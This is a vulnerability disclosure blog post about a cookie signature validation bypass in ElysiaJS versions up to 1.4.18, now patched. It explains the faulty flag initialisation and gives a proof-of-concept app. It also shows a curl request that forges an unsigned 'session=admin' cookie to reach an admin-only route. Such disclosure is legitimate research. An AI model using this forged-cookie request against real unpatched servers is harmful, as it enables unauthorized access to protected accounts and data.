ElysiaJS Cookie Signature Validation Bypass

devansh.bearblog.dev · bugbountydaily · 2 months ago · vulnerability
0 net
ElysiaJS Cookie Signature Validation Bypass | devansh ElysiaJS Cookie Signature Validation Bypass 10 Jan, 2026 Table of Contents Intro Lore Elysia and Cookie Signing Secrets Rotation Vulnerability Proof of Concept What It Does Let's Break It The Fix Disclosure Timeline References Intro Lore The recent React CVE(s) made quite a buzz in the industry. It was a pretty powerful vulnerability, which directly leads to Pre-auth RCE (one of the most impactful vuln classes). The React CVE inspired me to investigate vulnerabilities in other JS/TS frameworks. I selected Elysia as my target for several reasons: active maintenance, ~16K GitHub stars, clear documentation, and clean codebase - all factors that make for productive security research. While scrolling through the codebase, one specific codeblock looked interesting: cookies.ts#L413-L426 It took me less than a minute to identify the "anti-pattern" here. Can you see what's wrong here? We'll get to it in a bit, but first, a little primer on ElysiaJS Cookie Signing. Elysia and Cookie Signing Elysia treats cookies as reactive signals, meaning they're mutable objects you can read and update directly in your route handlers without getters/setters. Cookie signing adds a cryptographic layer to prevent clients from modifying cookie values (e.g., escalating privileges in a session token). Elysia uses a signature appended to the cookie value, tied to a secret key. This ensures integrity (data wasn't altered) and authenticity (it came from your server). On a higher level, it works something like this: Signing : When you set a cookie (e.g., profile.value = data), Elysia hashes the serialized value + secret, appends sig to the cookie. Unsigning/Verification : On read, Elysia checks the signature against the secret. If invalid (tampered or wrong secret), it throws an error or rejects the cookie. Secrets Rotation Rotating secrets is essential for security hygiene (e.g., after a potential breach or periodic refresh). Elysia handles this natively with multi-secret support . How It Works: Provide secrets as an array: [oldestDeprecated, ..., currentActive]. Tries the latest secret first for signing new cookies. For reading, it falls back sequentially through the array until a match (or fails). This code is responsible for handling cookie related logic (signing, unsigning, secrets rotation). Vulnerability Now, going back to the vulnerability, can you spot the vulnerability in the below screenshot? No worries if you couldn't. I will walk you through. Sets decoded = true ( assumes the cookie is valid before checking anything! ) Loops through each secret Calls unsignCookie() for each secret If any secret successfully verifies, sets decoded = true ( wait, it's already true - this does nothing ), stores the unsigned value, and breaks If no secrets verify , the loop completes naturally without ever modifying decoded Checks if decoded is false ... but it's still true from step 1 No error is thrown - the tampered cookie is accepted as valid The guard check at the end ( if (!decoded) throw new InvalidCookieSignature(name) ) becomes completely useless because decoded can never be false . This is dead code. You see now? Basically if you are using the vulnerable version of Elysia and using secrets array (secrets rotation); Complete auth bypass is possible because InvalidCookieSignature error never gets thrown. This seemed like a pretty serious issue, so I dropped a DM to Elysia's creator SaltyAom . SaltyAom quickly confirmed the issue At this point, we know that this is a valid issue, but we still need to create a PoC for it to showcase what it can do, so a security advisory could be created. Given my limited experience with Tyscript. I looked into the docs of Elysia and looked into sample snippets. After getting a decent understanding of syntax Elysia uses, it was time to create the PoC app using Elysia. I had the basic idea in my mind of how my PoC app would look like, It will have a protected resource only admin can access, and by exploiting this vulnerability I should be able to reach the protected resource without authenticating as admin or without even having admin cookies. Eventually, I came up with the following PoC for demonstrating impact: import { Elysia , t } from 'elysia' // Stores the admin password hash. If empty, no admin exists yet. let adminHash = '' const app = new Elysia ({ cookie : { secrets : [ 'my-secret-key' ], // using secrets array sign : [ 'session' ] } }) // Signup (Strict: "admin" only, and only once) . post ( '/signup' , async ({ body , set }) => { // Check if trying to register a non-admin user if ( body . username !== 'admin' ) { set . status = 403 return 'Forbidden: Only the username "admin" is allowed.' } // Check if admin is already registered if ( adminHash ) { set . status = 409 // Conflict return 'Error: Admin user already exists.' } // Hash and store adminHash = await Bun . password . hash ( body . password ) return 'Admin registered successfully.' }, { body : t . Object ({ username : t . String (), password : t . String () }) }) // Login . post ( '/login' , async ({ body , cookie : { session }, set }) => { // Verify credentials if ( body . username !== 'admin' || ! adminHash || ! ( await Bun . password . verify ( body . password , adminHash ))) { set . status = 401 return 'Invalid admin credentials.' } // Success: Issue cookie session . value = 'admin' session . httpOnly = true session . path = '/' return 'Logged in as Admin.' }, { body : t . Object ({ username : t . String (), password : t . String () }) }) // Secret Route only admin can reach . get ( '/secret' , ({ cookie : { session }, set }) => { // Verify signed cookie value if ( session . value !== 'admin' ) { set . status = 403 return 'Forbidden. Admins only.' } return 'SECRET_CONTENT: The launch codes are 1337-00-1337.' }) . listen ( 3000 ) console . log ( `🦊 Admin App running at ${ app . server ? . url } ` ) Proof of Concept What It Does Allows one-time signup of an admin account only Allows an existing admin to log in . Issues a signed session cookie once logged in. Protects a secret route so only logged-in admin can access it. Let's Break It Without signing up as admin, or login, issue the following cURL command: curl -i -X GET "http://localhost:3000/secret" -H "Cookie: session=admin" Response: HTTP / 1.1 200 OK content-type : text/plain;charset=utf-8 Date : Tue, 09 Dec 2025 21:49:25 GMT Content-Length : 46 SECRET_CONTENT: The launch codes are 1337-00-1337. We got access to protected content; without using an signed admin cookie. Pretty slick, no? The developer likely meant to write: let decoded = false ; // Guilty until proven innocent Instead, they wrote: let decoded = true ; // Innocent until proven... always innocent The attacker only needs to: Capture or observe one valid cookie ( even their own ) Edit the cookie value to some other users' identify in their browser or with curl; and remove the signature Send it back to the server That's literally it. The Fix This vulnerability was fixed in v1.4.19 // Before (vulnerable) let decoded = true ; // After (fixed) let decoded = false ; With this fix in place, the verification logic now works correctly. Disclosure Timeline Discovery : 9th December 2025 Vendor Contact : 9th December 2025 Vendor Response : 9th December 2025 Patch Release : 13th December 2025 CVE Assignment : Pending Affected Versions : Elysia ≤ v1.4.18 ( confirmed ), potentially earlier versions Fixed Versions : v1.4.19 References Vulnerable Code: src/cookies.ts#L413-L426 Elysia Documentation: elysiajs.com Elysia Cookie Documentation: elysiajs.com/patterns/cookie